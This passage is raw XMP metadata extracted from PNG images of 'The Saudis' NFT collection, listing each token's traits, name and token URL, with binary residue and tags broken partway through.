      <metadata:Value>Pearwood Pipe</metadata:Value>
   </metadata:Attributes>
   <metadata:Description>Max Bidding</metadata:Description>
etadata:External_URL>https://token.thesaudisnft.com/4935</metadata:External_URL>
   <metadata:Name>The Saudis #4935</metadata:Name>
  </metadata:Metadata>
iTXtXML:com.adobe.xmp
' id='W5M0MpCehiHzreSzNTczkc9d'?>
<x:xmpmeta xmlns:x='adobe:ns:meta/' x:xmptk='Image::ExifTool 12.56'>
<rdf:RDF xmlns:rdf='http://www.w3.org/1999/02/22-rdf-syntax-ns#'>
 <rdf:Description rdf:about=''
  xmlns:metadata='https://thesaudisnft.com/metadata/1.0/'>
  <metadata:Metadata rdf:parseType='Resource'>
   <metadata:Attributes>
     <rdf:li rdf:parseType='Resource'>
      <metadata:Trait_Type>Head</metadaM
      <metadata:Value>Light 2</metadata:Value>
     <rdf:li rdf:parseType='Resource'>
      <metadata:Trait_Type>Hair</metadata:Trait_Type>
      <metadata:Value>Short Buzz Cut</metadata:Value>
     <rdf:li rdf:parseType='Resource'>
      <metadata:Trait_Type>Facial Hair</metadata:Trait_Type>
      <metadata:Value>Normal White Beard</metadata:Value>
     <rdf:li rdf:parseType='Resource'>
      <metadata:Trait_Type>Headwear</metadata:Trait_Type>
data:Value>White Shemagh &amp; Crown</metadata:Value>
     <rdf:li rdf:parseType='Resource'>
      <metadata:Trait_Type>Eyewear</metadata:Trait_Type>
      <metadata:Value>Horn Rimmed Glasses</metadata:Value>
     <rdf:li rdf:parseType='Resource'>
      <metadata:Trait_Type>Mouthpiece</metadata:Trait_Type>
      <metadata:Value>Vape</metadata:Value>
   </metadata:Attributes>
   <metadata:Description>Max Bidding</metadata:Description>
   <metadata:External_M
URL>https://token.thesaudisnft.com/4926</metadata:External_URL>
   <metadata:Name>The Saudis #4926</metadata:Name>
  </metadata:Metadata>
<?xpacket end='r'?>J
iTXtXML:com.adobe.xmp
' id='W5M0MpCehiHzreSzNTczkc9d'?>
<x:xmpmeta xmlns:x='adobe:ns:meta/' x:xmptk='Image::ExifTool 12.56'>
<rdf:RDF xmlns:rdf='http://www.w3.org/1999/02/22-rdf-syntax-ns#'>
 <rdf:Description rdf:about=''
  xmlns:metadata='https://thesaudisnft.com/metadata/1.0/'>
  <metadata:Metadata rdf:parseType='Resource'>
   <metadata:Attributes>
     <rdf:li rdf:parseType='Resource'>
      <metadata:Trait_Type>Head</metadaM
      <metadata:Value>Light 2</metadata:Value>
     <rdf:li rdf:parseType='Resource'>
      <metadata:Trait_Type>Hair</metadata:Trait_Type>
      <metadata:Value>Short Buzz Cut</metadata:Value>
     <rdf:li rdf:parseType='Resource'>
      <metadata:Trait_Type>Facial Hair</metadata:Trait_Type>
      <metadata:Value>Normal Brown Beard</metadata:Value>
     <rdf:li rdf:parseType='Resource'>
      <metadata:Trait_Type>Headwear</metadata:Trait_Type>
data:Value>White Shemagh &amp; Stylish Gold Agal</metadata:Value>
     <rdf:li rdf:parseType='Resource'>
      <metadata:Trait_Type>Eyewear</metadata:Trait_Type>
      <metadata:Value>Laser Eyes</metadata:Value>
     <rdf:li rdf:parseType='Resource'>
      <metadata:Trait_Type>Mouthpiece</metadata:Trait_Type>
      <metadata:Value>None</metadata:Value>
   </metadata:Attributes>
   <metadata:Description>Max Bidding</metadata:Description>
   <metadata:ExternM
al_URL>https://token.thesaudisnft.com/5041</metadata:External_URL>
   <metadata:Name>The Saudis #5041</metadata:Name>
  </metadata:Metadata>
iTXtXML:com.adobe.xmp
' id='W5M0MpCehiHzreSzNTczkc9d'?>
<x:xmpmeta xmlns:x='adobe:ns:meta/' x:xmptk='Image::ExifTool 12.56'>
<rdf:RDF xmlns:rdf='http://www.w3.org/1999/02/22-rdf-syntax-ns#'>
 <rdf:Description rdf:about=''
  xmlns:metadata='https://thesaudisnft.com/metadata/1.0/'>
  <metadata:Metadata rdf:parseType='Resource'>
   <metadata:Attributes>
     <rdf:li rdf:parseType='Resource'>
      <metadata:Trait_Type>Head</metadaM
      <metadata:Value>Medium 2</metadata:Value>
     <rdf:li rdf:parseType='Resource'>
      <metadata:Trait_Type>Hair</metadata:Trait_Type>
      <metadata:Value>Messy</metadata:Value>
     <rdf:li rdf:parseType='Resource'>
      <metadata:Trait_Type>Facial Hair</metadata:Trait_Type>
      <metadata:Value>Luxurious Brown Beard</metadata:Value>
     <rdf:li rdf:parseType='Resource'>
      <metadata:Trait_Type>Headwear</metadata:Trait_Type>
Value>White Shemagh &amp; Gold Agal</metadata:Value>
     <rdf:li rdf:parseType='Resource'>
      <metadata:Trait_Type>Eyewear</metadata:Trait_Type>
      <metadata:Value>Big Pixel Shades</metadata:Value>
     <rdf:li rdf:parseType='Resource'>
      <metadata:Trait_Type>Mouthpiece</metadata:Trait_Type>
      <metadata:Value>None</metadata:Value>
   </metadata:Attributes>
   <metadata:Description>Max Bidding</metadata:Description>
   <metadata:External_URL>M
https://token.thesaudisnft.com/4425</metadata:External_URL>
   <metadata:Name>The Saudis #4425</metadata:Name>
  </metadata:Metadata>
~iTXtXML:com.adobe.xmp
' id='W5M0MpCehiHzreSzNTczkc9d'?>
<x:xmpmeta xmlns:x='adobe:ns:meta/' x:xmptk='Image::ExifTool 12.56'>
<rdf:RDF xmlns:rdf='http://www.w3.org/1999/02/22-rdf-syntax-ns#'>
 <rdf:Description rdf:about=''
  xmlns:metadata='https://thesaudisnft.com/metadata/1.0/'>
  <metadata:Metadata rdf:parseType='Resource'>
   <metadata:Attributes>
     <rdf:li rdf:parseType='Resource'>
      <metadata:Trait_Type>Head</metadaM
      <metadata:Value>Dark 2</metadata:Value>
     <rdf:li rdf:parseType='Resource'>
      <metadata:Trait_Type>Hair</metadata:Trait_Type>
      <metadata:Value>Bald</metadata:Value>
     <rdf:li rdf:parseType='Resource'>
      <metadata:Trait_Type>Facial Hair</metadata:Trait_Type>
      <metadata:Value>Mustache</metadata:Value>
     <rdf:li rdf:parseType='Resource'>
      <metadata:Trait_Type>Headwear</metadata:Trait_Type>
      <metadata:Value>Haram PoliM
ce Cap</metadata:Value>
     <rdf:li rdf:parseType='Resource'>
      <metadata:Trait_Type>Eyewear</metadata:Trait_Type>
      <metadata:Value>None</metadata:Value>
     <rdf:li rdf:parseType='Resource'>
      <metadata:Trait_Type>Mouthpiece</metadata:Trait_Type>
      <metadata:Value>None</metadata:Value>
   </metadata:Attributes>
   <metadata:Description>Max Bidding</metadata:Description>
   <metadata:External_URL>https://token.thesaudisnft.com/3466</metaM
   <metadata:Name>The Saudis #3466</metadata:Name>
  </metadata:Metadata>
iTXtXML:com.adobe.xmp
' id='W5M0MpCehiHzreSzNTczkc9d'?>
<x:xmpmeta xmlns:x='adobe:ns:meta/' x:xmptk='Image::ExifTool 12.56'>
<rdf:RDF xmlns:rdf='http://www.w3.org/1999/02/22-rdf-syntax-ns#'>
 <rdf:Description rdf:about=''
  xmlns:metadata='https://thesaudisnft.com/metadata/1.0/'>
  <metadata:Metadata rdf:parseType='Resource'>
   <metadata:Attributes>
     <rdf:li rdf:parseType='Resource'>
      <metadata:Trait_Type>Head</metadaM
      <metadata:Value>Light 1</metadata:Value>
     <rdf:li rdf:parseType='Resource'>
      <metadata:Trait_Type>Hair</metadata:Trait_Type>
      <metadata:Value>Neat</metadata:Value>
     <rdf:li rdf:parseType='Resource'>
      <metadata:Trait_Type>Facial Hair</metadata:Trait_Type>
      <metadata:Value>Messy White Beard</metadata:Value>
     <rdf:li rdf:parseType='Resource'>
      <metadata:Trait_Type>Headwear</metadata:Trait_Type>
      <metadata:Value>M
White Shemagh &amp; Stylish Gold Agal</metadata:Value>
     <rdf:li rdf:parseType='Resource'>
      <metadata:Trait_Type>Eyewear</metadata:Trait_Type>
      <metadata:Value>Rimless Glasses</metadata:Value>
     <rdf:li rdf:parseType='Resource'>
      <metadata:Trait_Type>Mouthpiece</metadata:Trait_Type>
      <metadata:Value>Bubble Gum</metadata:Value>
   </metadata:Attributes>
   <metadata:Description>Max Bidding</metadata:Description>
   <metadata:ExternM
al_URL>https://token.thesaudisnft.com/3810</metadata:External_URL>
   <metadata:Name>The Saudis #3810</metadata:Name>
  </metadata:Metadata>
<?xpacket end='r'?>~
iTXtXML:com.adobe.xmp
' id='W5M0MpCehiHzreSzNTczkc9d'?>
<x:xmpmeta xmlns:x='adobe:ns:meta/' x:xmptk='Image::ExifTool 12.56'>
<rdf:RDF xmlns:rdf='http://www.w3.org/1999/02/22-rdf-syntax-ns#'>
 <rdf:Description rdf:about=''
  xmlns:metadata='https://thesaudisnft.com/metadata/1.0/'>
  <metadata:Metadata rdf:parseType='Resource'>
   <metadata:Attributes>
     <rdf:li rdf:parseType='Resource'>
      <metadata:Trait_Type>Head</metadaM
      <metadata:Value>Medium 1</metadata:Value>
     <rdf:li rdf:parseType='Resource'>
      <metadata:Trait_Type>Hair</metadata:Trait_Type>
      <metadata:Value>Widow&#39;s Peak</metadata:Value>
     <rdf:li rdf:parseType='Resource'>
      <metadata:Trait_Type>Facial Hair</metadata:Trait_Type>
      <metadata:Value>Stylish Mustache</metadata:Value>
     <rdf:li rdf:parseType='Resource'>
      <metadata:Trait_Type>Headwear</metadata:Trait_Type>
adata:Value>White Shemagh</metadata:Value>
     <rdf:li rdf:parseType='Resource'>
      <metadata:Trait_Type>Eyewear</metadata:Trait_Type>
      <metadata:Value>None</metadata:Value>
     <rdf:li rdf:parseType='Resource'>
      <metadata:Trait_Type>Mouthpiece</metadata:Trait_Type>
      <metadata:Value>None</metadata:Value>
   </metadata:Attributes>
   <metadata:Description>Max Bidding</metadata:Description>
   <metadata:External_URL>https://token.thesaudiM
snft.com/4182</metadata:External_URL>
   <metadata:Name>The Saudis #4182</metadata:Name>
  </metadata:Metadata>
iTXtXML:com.adobe.xmp
' id='W5M0MpCehiHzreSzNTczkc9d'?>
<x:xmpmeta xmlns:x='adobe:ns:meta/' x:xmptk='Image::ExifTool 12.56'>
<rdf:RDF xmlns:rdf='http://www.w3.org/1999/02/22-rdf-syntax-ns#'>
 <rdf:Description rdf:about=''
  xmlns:metadata='https://thesaudisnft.com/metadata/1.0/'>
  <metadata:Metadata rdf:parseType='Resource'>
   <metadata:Attributes>
     <rdf:li rdf:parseType='Resource'>
      <metadata:Trait_Type>Head</metadaM
      <metadata:Value>Medium 2</metadata:Value>
     <rdf:li rdf:parseType='Resource'>
      <metadata:Trait_Type>Hair</metadata:Trait_Type>
      <metadata:Value>Bald</metadata:Value>
     <rdf:li rdf:parseType='Resource'>
      <metadata:Trait_Type>Facial Hair</metadata:Trait_Type>
      <metadata:Value>Light Beard</metadata:Value>
     <rdf:li rdf:parseType='Resource'>
      <metadata:Trait_Type>Headwear</metadata:Trait_Type>
      <metadata:Value>BrownM
 Shemagh &amp; Crown</metadata:Value>
     <rdf:li rdf:parseType='Resource'>
      <metadata:Trait_Type>Eyewear</metadata:Trait_Type>
      <metadata:Value>Stylish Nerd Glasses</metadata:Value>
     <rdf:li rdf:parseType='Resource'>
      <metadata:Trait_Type>Mouthpiece</metadata:Trait_Type>
      <metadata:Value>Shadowless Vape</metadata:Value>
   </metadata:Attributes>
   <metadata:Description>Max Bidding</metadata:Description>
   <metadata:External_URL>M
https://token.thesaudisnft.com/4645</metadata:External_URL>
   <metadata:Name>The Saudis #4645</metadata:Name>
  </metadata:Metadata>
<?xpacket end='r'?>2(
iTXtXML:com.adobe.xmp
' id='W5M0MpCehiHzreSzNTczkc9d'?>
<x:xmpmeta xmlns:x='adobe:ns:meta/' x:xmptk='Image::ExifTool 12.56'>
<rdf:RDF xmlns:rdf='http://www.w3.org/1999/02/22-rdf-syntax-ns#'>
 <rdf:Description rdf:about=''
  xmlns:metadata='https://thesaudisnft.com/metadata/1.0/'>
  <metadata:Metadata rdf:parseType='Resource'>
   <metadata:Attributes>
     <rdf:li rdf:parseType='Resource'>
      <metadata:Trait_Type>Head</metadaM
      <metadata:Value>Light 2</metadata:Value>
     <rdf:li rdf:parseType='Resource'>
      <metadata:Trait_Type>Hair</metadata:Trait_Type>
      <metadata:Value>Long Widow&#39;s Peak</metadata:Value>
     <rdf:li rdf:parseType='Resource'>
      <metadata:Trait_Type>Facial Hair</metadata:Trait_Type>
      <metadata:Value>Light Beard</metadata:Value>
     <rdf:li rdf:parseType='Resource'>
      <metadata:Trait_Type>Headwear</metadata:Trait_Type>
data:Value>Brown Shemagh &amp; Agal</metadata:Value>
     <rdf:li rdf:parseType='Resource'>
      <metadata:Trait_Type>Eyewear</metadata:Trait_Type>
      <metadata:Value>Big Purple Shades</metadata:Value>
     <rdf:li rdf:parseType='Resource'>
      <metadata:Trait_Type>Mouthpiece</metadata:Trait_Type>
      <metadata:Value>Cigarette</metadata:Value>
   </metadata:Attributes>
   <metadata:Description>Max Bidding</metadata:Description>
   <metadata:ExternaM
l_URL>https://token.thesaudisnft.com/4403</metadata:External_URL>
   <metadata:Name>The Saudis #4403</metadata:Name>
  </metadata:Metadata>
iTXtXML:com.adobe.xmp
' id='W5M0MpCehiHzreSzNTczkc9d'?>
<x:xmpmeta xmlns:x='adobe:ns:meta/' x:xmptk='Image::ExifTool 12.56'>
<rdf:RDF xmlns:rdf='http://www.w3.org/1999/02/22-rdf-syntax-ns#'>
 <rdf:Description rdf:about=''
  xmlns:metadata='https://thesaudisnft.com/metadata/1.0/'>
  <metadata:Metadata rdf:parseType='Resource'>
   <metadata:Attributes>
     <rdf:li rdf:parseType='Resource'>
      <metadata:Trait_Type>Head</metadaM
      <metadata:Value>Medium 2</metadata:Value>
     <rdf:li rdf:parseType='Resource'>
      <metadata:Trait_Type>Hair</metadata:Trait_Type>
      <metadata:Value>Buzz Cut</metadata:Value>
     <rdf:li rdf:parseType='Resource'>
      <metadata:Trait_Type>Facial Hair</metadata:Trait_Type>
      <metadata:Value>Normal Brown Beard &amp; Mustache</metadata:Value>
     <rdf:li rdf:parseType='Resource'>
      <metadata:Trait_Type>Headwear</metadata:Trait_Type>
     <metadata:Value>Red Shemagh &amp; Agal</metadata:Value>
     <rdf:li rdf:parseType='Resource'>
      <metadata:Trait_Type>Eyewear</metadata:Trait_Type>
      <metadata:Value>Square Reflective Shades</metadata:Value>
     <rdf:li rdf:parseType='Resource'>
      <metadata:Trait_Type>Mouthpiece</metadata:Trait_Type>
      <metadata:Value>Rosewood Pipe</metadata:Value>
   </metadata:Attributes>
   <metadata:Description>Max Bidding</metadata:Description>
  <metadata:External_URL>https://token.thesaudisnft.com/4466</metadata:External_URL>
   <metadata:Name>The Saudis #4466</metadata:Name>
  </metadata:Metadata>
iTXtXML:com.adobe.xmp
' id='W5M0MpCehiHzreSzNTczkc9d'?>
<x:xmpmeta xmlns:x='adobe:ns:meta/' x:xmptk='Image::ExifTool 12.56'>
<rdf:RDF xmlns:rdf='http://www.w3.org/1999/02/22-rdf-syntax-ns#'>
 <rdf:Description rdf:about=''
  xmlns:metadata='https://thesaudisnft.com/metadata/1.0/'>
  <metadata:Metadata rdf:parseType='Resource'>
   <metadata:Attributes>
     <rdf:li rdf:parseType='Resource'>
      <metadata:Trait_Type>Head</metadaM
      <metadata:Value>Medium 2</metadata:Value>
     <rdf:li rdf:parseType='Resource'>
      <metadata:Trait_Type>Hair</metadata:Trait_Type>
      <metadata:Value>Brown Buzz Cut</metadata:Value>
     <rdf:li rdf:parseType='Resource'>
      <metadata:Trait_Type>Facial Hair</metadata:Trait_Type>
      <metadata:Value>Stylish Mustache</metadata:Value>
     <rdf:li rdf:parseType='Resource'>
      <metadata:Trait_Type>Headwear</metadata:Trait_Type>
ata:Value>White Shemagh &amp; Agal</metadata:Value>
     <rdf:li rdf:parseType='Resource'>
      <metadata:Trait_Type>Eyewear</metadata:Trait_Type>
      <metadata:Value>Stylish Nerd Glasses</metadata:Value>
     <rdf:li rdf:parseType='Resource'>
      <metadata:Trait_Type>Mouthpiece</metadata:Trait_Type>
      <metadata:Value>Rosewood Pipe</metadata:Value>
   </metadata:Attributes>
   <metadata:Description>Max Bidding</metadata:Description>
xternal_URL>https://token.thesaudisnft.com/3690</metadata:External_URL>
   <metadata:Name>The Saudis #3690</metadata:Name>
  </metadata:Metadata>
<?xpacket end='r'?>pt
iTXtXML:com.adobe.xmp
' id='W5M0MpCehiHzreSzNTczkc9d'?>
<x:xmpmeta xmlns:x='adobe:ns:meta/' x:xmptk='Image::ExifTool 12.56'>
<rdf:RDF xmlns:rdf='http://www.w3.org/1999/02/22-rdf-syntax-ns#'>
 <rdf:Description rdf:about=''
  xmlns:metadata='https://thesaudisnft.com/metadata/1.0/'>
  <metadata:Metadata rdf:parseType='Resource'>
   <metadata:Attributes>
     <rdf:li rdf:parseType='Resource'>
      <metadata:Trait_Type>Head</metadaM
      <metadata:Value>Light 2</metadata:Value>
     <rdf:li rdf:parseType='Resource'>
      <metadata:Trait_Type>Hair</metadata:Trait_Type>
      <metadata:Value>Neat</metadata:Value>
     <rdf:li rdf:parseType='Resource'>
      <metadata:Trait_Type>Facial Hair</metadata:Trait_Type>
      <metadata:Value>Short Grey Beard</metadata:Value>
     <rdf:li rdf:parseType='Resource'>
      <metadata:Trait_Type>Headwear</metadata:Trait_Type>
      <metadata:Value>RM
ed Shemagh &amp; Agal</metadata:Value>
     <rdf:li rdf:parseType='Resource'>
      <metadata:Trait_Type>Eyewear</metadata:Trait_Type>
      <metadata:Value>VR</metadata:Value>
     <rdf:li rdf:parseType='Resource'>
      <metadata:Trait_Type>Mouthpiece</metadata:Trait_Type>
      <metadata:Value>None</metadata:Value>
   </metadata:Attributes>
   <metadata:Description>Max Bidding</metadata:Description>
   <metadata:External_URL>https://token.thesaudisnft.cM
om/5049</metadata:External_URL>
   <metadata:Name>The Saudis #5049</metadata:Name>
  </metadata:Metadata>
iTXtXML:com.adobe.xmp
' id='W5M0MpCehiHzreSzNTczkc9d'?>
<x:xmpmeta xmlns:x='adobe:ns:meta/' x:xmptk='Image::ExifTool 12.56'>
<rdf:RDF xmlns:rdf='http://www.w3.org/1999/02/22-rdf-syntax-ns#'>
 <rdf:Description rdf:about=''
  xmlns:metadata='https://thesaudisnft.com/metadata/1.0/'>
  <metadata:Metadata rdf:parseType='Resource'>
   <metadata:Attributes>
     <rdf:li rdf:parseType='Resource'>
      <metadata:Trait_Type>Head</metadaM
      <metadata:Value>Dark 2</metadata:Value>
     <rdf:li rdf:parseType='Resource'>
      <metadata:Trait_Type>Hair</metadata:Trait_Type>
      <metadata:Value>Short Buzz Cut</metadata:Value>
     <rdf:li rdf:parseType='Resource'>
      <metadata:Trait_Type>Facial Hair</metadata:Trait_Type>
      <metadata:Value>Short Grey Beard</metadata:Value>
     <rdf:li rdf:parseType='Resource'>
      <metadata:Trait_Type>Headwear</metadata:Trait_Type>
a:Value>White Shemagh &amp; Gold Agal</metadata:Value>
     <rdf:li rdf:parseType='Resource'>
      <metadata:Trait_Type>Eyewear</metadata:Trait_Type>
      <metadata:Value>Small Shades</metadata:Value>
     <rdf:li rdf:parseType='Resource'>
      <metadata:Trait_Type>Mouthpiece</metadata:Trait_Type>
      <metadata:Value>None</metadata:Value>
   </metadata:Attributes>
   <metadata:Description>Max Bidding</metadata:Description>
   <metadata:External_URL>htM
tps://token.thesaudisnft.com/4498</metadata:External_URL>
   <metadata:Name>The Saudis #4498</metadata:Name>
  </metadata:Metadata>
iTXtXML:com.adobe.xmp
' id='W5M0MpCehiHzreSzNTczkc9d'?>
<x:xmpmeta xmlns:x='adobe:ns:meta/' x:xmptk='Image::ExifTool 12.56'>
<rdf:RDF xmlns:rdf='http://www.w3.org/1999/02/22-rdf-syntax-ns#'>
 <rdf:Description rdf:about=''
  xmlns:metadata='https://thesaudisnft.com/metadata/1.0/'>
  <metadata:Metadata rdf:parseType='Resource'>
   <metadata:Attributes>
     <rdf:li rdf:parseType='Resource'>
      <metadata:Trait_Type>Head</metadaM
      <metadata:Value>Dark 1</metadata:Value>
     <rdf:li rdf:parseType='Resource'>
      <metadata:Trait_Type>Hair</metadata:Trait_Type>
      <metadata:Value>Messy</metadata:Value>
     <rdf:li rdf:parseType='Resource'>
      <metadata:Trait_Type>Facial Hair</metadata:Trait_Type>
      <metadata:Value>Clean Shaven</metadata:Value>
     <rdf:li rdf:parseType='Resource'>
      <metadata:Trait_Type>Headwear</metadata:Trait_Type>
      <metadata:Value>Red SM
hemagh &amp; Agal</metadata:Value>
     <rdf:li rdf:parseType='Resource'>
      <metadata:Trait_Type>Eyewear</metadata:Trait_Type>
      <metadata:Value>Big Round Shades</metadata:Value>
     <rdf:li rdf:parseType='Resource'>
      <metadata:Trait_Type>Mouthpiece</metadata:Trait_Type>
      <metadata:Value>Bubble Gum</metadata:Value>
   </metadata:Attributes>
   <metadata:Description>Max Bidding</metadata:Description>
   <metadata:External_URL>https://tokeM
n.thesaudisnft.com/4372</metadata:External_URL>
   <metadata:Name>The Saudis #4372</metadata:Name>
  </metadata:Metadata>
iTXtXML:com.adobe.xmp
' id='W5M0MpCehiHzreSzNTczkc9d'?>
<x:xmpmeta xmlns:x='adobe:ns:meta/' x:xmptk='Image::ExifTool 12.56'>
<rdf:RDF xmlns:rdf='http://www.w3.org/1999/02/22-rdf-syntax-ns#'>
 <rdf:Description rdf:about=''
  xmlns:metadata='https://thesaudisnft.com/metadata/1.0/'>
  <metadata:Metadata rdf:parseType='Resource'>
   <metadata:Attributes>
     <rdf:li rdf:parseType='Resource'>
      <metadata:Trait_Type>Head</metadaM
      <metadata:Value>Light 2</metadata:Value>
     <rdf:li rdf:parseType='Resource'>
      <metadata:Trait_Type>Hair</metadata:Trait_Type>
      <metadata:Value>Short Buzz Cut</metadata:Value>
     <rdf:li rdf:parseType='Resource'>
      <metadata:Trait_Type>Facial Hair</metadata:Trait_Type>
      <metadata:Value>Mustache</metadata:Value>
     <rdf:li rdf:parseType='Resource'>
      <metadata:Trait_Type>Headwear</metadata:Trait_Type>
      <metadata:ValueM
>White Shemagh</metadata:Value>
     <rdf:li rdf:parseType='Resource'>
      <metadata:Trait_Type>Eyewear</metadata:Trait_Type>
      <metadata:Value>Small Shades</metadata:Value>
     <rdf:li rdf:parseType='Resource'>
      <metadata:Trait_Type>Mouthpiece</metadata:Trait_Type>
      <metadata:Value>None</metadata:Value>
   </metadata:Attributes>
   <metadata:Description>Max Bidding</metadata:Description>
   <metadata:External_URL>https://token.thesaudisnfM
t.com/4867</metadata:External_URL>
   <metadata:Name>The Saudis #4867</metadata:Name>
  </metadata:Metadata>
<?xpacket end='r'?>8,
iTXtXML:com.adobe.xmp
' id='W5M0MpCehiHzreSzNTczkc9d'?>
<x:xmpmeta xmlns:x='adobe:ns:meta/' x:xmptk='Image::ExifTool 12.56'>
<rdf:RDF xmlns:rdf='http://www.w3.org/1999/02/22-rdf-syntax-ns#'>
 <rdf:Description rdf:about=''
  xmlns:metadata='https://thesaudisnft.com/metadata/1.0/'>
  <metadata:Metadata rdf:parseType='Resource'>
   <metadata:Attributes>
     <rdf:li rdf:parseType='Resource'>
      <metadata:Trait_Type>Head</metadaM
      <metadata:Value>Light 1</metadata:Value>
     <rdf:li rdf:parseType='Resource'>
      <metadata:Trait_Type>Hair</metadata:Trait_Type>
      <metadata:Value>Brown Buzz Cut</metadata:Value>
     <rdf:li rdf:parseType='Resource'>
      <metadata:Trait_Type>Facial Hair</metadata:Trait_Type>
      <metadata:Value>Luxurious White Beard</metadata:Value>
     <rdf:li rdf:parseType='Resource'>
      <metadata:Trait_Type>Headwear</metadata:Trait_Type>
etadata:Value>Red Shemagh &amp; Agal</metadata:Value>
     <rdf:li rdf:parseType='Resource'>
      <metadata:Trait_Type>Eyewear</metadata:Trait_Type>
      <metadata:Value>Nerd Glasses</metadata:Value>
     <rdf:li rdf:parseType='Resource'>
      <metadata:Trait_Type>Mouthpiece</metadata:Trait_Type>
      <metadata:Value>Cigar</metadata:Value>
   </metadata:Attributes>
   <metadata:Description>Max Bidding</metadata:Description>
   <metadata:External_URL>htM
tps://token.thesaudisnft.com/3666</metadata:External_URL>
   <metadata:Name>The Saudis #3666</metadata:Name>
  </metadata:Metadata>
<?xpacket end='r'?>|
iTXtXML:com.adobe.xmp
' id='W5M0MpCehiHzreSzNTczkc9d'?>
<x:xmpmeta xmlns:x='adobe:ns:meta/' x:xmptk='Image::ExifTool 12.56'>
<rdf:RDF xmlns:rdf='http://www.w3.org/1999/02/22-rdf-syntax-ns#'>
 <rdf:Description rdf:about=''
  xmlns:metadata='https://thesaudisnft.com/metadata/1.0/'>
  <metadata:Metadata rdf:parseType='Resource'>
   <metadata:Attributes>
     <rdf:li rdf:parseType='Resource'>
      <metadata:Trait_Type>Head</metadaM
      <metadata:Value>Light 2</metadata:Value>
     <rdf:li rdf:parseType='Resource'>
      <metadata:Trait_Type>Hair</metadata:Trait_Type>
      <metadata:Value>Long Widow&#39;s Peak</metadata:Value>
     <rdf:li rdf:parseType='Resource'>
      <metadata:Trait_Type>Facial Hair</metadata:Trait_Type>
      <metadata:Value>Stylish Mustache</metadata:Value>
     <rdf:li rdf:parseType='Resource'>
      <metadata:Trait_Type>Headwear</metadata:Trait_Type>
<metadata:Value>Brown Shemagh &amp; Agal</metadata:Value>
     <rdf:li rdf:parseType='Resource'>
      <metadata:Trait_Type>Eyewear</metadata:Trait_Type>
      <metadata:Value>Round Shades</metadata:Value>
     <rdf:li rdf:parseType='Resource'>
      <metadata:Trait_Type>Mouthpiece</metadata:Trait_Type>
      <metadata:Value>Bubble Gum</metadata:Value>
   </metadata:Attributes>
   <metadata:Description>Max Bidding</metadata:Description>
   <metadata:ExternM
al_URL>https://token.thesaudisnft.com/4122</metadata:External_URL>
   <metadata:Name>The Saudis #4122</metadata:Name>
  </metadata:Metadata>
<?xpacket end='r'?>z@%N
iTXtXML:com.adobe.xmp
' id='W5M0MpCehiHzreSzNTczkc9d'?>
<x:xmpmeta xmlns:x='adobe:ns:meta/' x:xmptk='Image::ExifTool 12.56'>
<rdf:RDF xmlns:rdf='http://www.w3.org/1999/02/22-rdf-syntax-ns#'>
 <rdf:Description rdf:about=''
  xmlns:metadata='https://thesaudisnft.com/metadata/1.0/'>
  <metadata:Metadata rdf:parseType='Resource'>
   <metadata:Attributes>
     <rdf:li rdf:parseType='Resource'>
      <metadata:Trait_Type>Head</metadaM
      <metadata:Value>Medium 1</metadata:Value>
     <rdf:li rdf:parseType='Resource'>
      <metadata:Trait_Type>Hair</metadata:Trait_Type>
      <metadata:Value>Buzz Cut</metadata:Value>
     <rdf:li rdf:parseType='Resource'>
      <metadata:Trait_Type>Facial Hair</metadata:Trait_Type>
      <metadata:Value>Luxurious White Beard</metadata:Value>
     <rdf:li rdf:parseType='Resource'>
      <metadata:Trait_Type>Headwear</metadata:Trait_Type>
ta:Value>Brown Shemagh &amp; Gold Agal</metadata:Value>
     <rdf:li rdf:parseType='Resource'>
      <metadata:Trait_Type>Eyewear</metadata:Trait_Type>
      <metadata:Value>None</metadata:Value>
     <rdf:li rdf:parseType='Resource'>
      <metadata:Trait_Type>Mouthpiece</metadata:Trait_Type>
      <metadata:Value>None</metadata:Value>
   </metadata:Attributes>
   <metadata:Description>Max Bidding</metadata:Description>
   <metadata:External_URL>https://tM
oken.thesaudisnft.com/3474</metadata:External_URL>
   <metadata:Name>The Saudis #3474</metadata:Name>
  </metadata:Metadata>
<?xpacket end='r'?>8
iTXtXML:com.adobe.xmp
' id='W5M0MpCehiHzreSzNTczkc9d'?>
<x:xmpmeta xmlns:x='adobe:ns:meta/' x:xmptk='Image::ExifTool 12.56'>
<rdf:RDF xmlns:rdf='http://www.w3.org/1999/02/22-rdf-syntax-ns#'>
 <rdf:Description rdf:about=''
  xmlns:metadata='https://thesaudisnft.com/metadata/1.0/'>
  <metadata:Metadata rdf:parseType='Resource'>
   <metadata:Attributes>
     <rdf:li rdf:parseType='Resource'>
      <metadata:Trait_Type>Head</metadaM
      <metadata:Value>Light 2</metadata:Value>
     <rdf:li rdf:parseType='Resource'>
      <metadata:Trait_Type>Hair</metadata:Trait_Type>
      <metadata:Value>Long Widow&#39;s Peak</metadata:Value>
     <rdf:li rdf:parseType='Resource'>
      <metadata:Trait_Type>Facial Hair</metadata:Trait_Type>
      <metadata:Value>Normal Brown Beard</metadata:Value>
     <rdf:li rdf:parseType='Resource'>
      <metadata:Trait_Type>Headwear</metadata:Trait_Type>
  <metadata:Value>Red Shemagh &amp; Agal</metadata:Value>
     <rdf:li rdf:parseType='Resource'>
      <metadata:Trait_Type>Eyewear</metadata:Trait_Type>
      <metadata:Value>Big Green Shades</metadata:Value>
     <rdf:li rdf:parseType='Resource'>
      <metadata:Trait_Type>Mouthpiece</metadata:Trait_Type>
      <metadata:Value>Shadowless Vape</metadata:Value>
   </metadata:Attributes>
   <metadata:Description>Max Bidding</metadata:Description>
ta:External_URL>https://token.thesaudisnft.com/3910</metadata:External_URL>
   <metadata:Name>The Saudis #3910</metadata:Name>
  </metadata:Metadata>
iTXtXML:com.adobe.xmp
' id='W5M0MpCehiHzreSzNTczkc9d'?>
<x:xmpmeta xmlns:x='adobe:ns:meta/' x:xmptk='Image::ExifTool 12.56'>
<rdf:RDF xmlns:rdf='http://www.w3.org/1999/02/22-rdf-syntax-ns#'>
 <rdf:Description rdf:about=''
  xmlns:metadata='https://thesaudisnft.com/metadata/1.0/'>
  <metadata:Metadata rdf:parseType='Resource'>
   <metadata:Attributes>
     <rdf:li rdf:parseType='Resource'>
      <metadata:Trait_Type>Head</metadaM
      <metadata:Value>Dark 1</metadata:Value>
     <rdf:li rdf:parseType='Resource'>
      <metadata:Trait_Type>Hair</metadata:Trait_Type>
      <metadata:Value>Messy</metadata:Value>
     <rdf:li rdf:parseType='Resource'>
      <metadata:Trait_Type>Facial Hair</metadata:Trait_Type>
      <metadata:Value>Sideburns &amp; Mustache</metadata:Value>
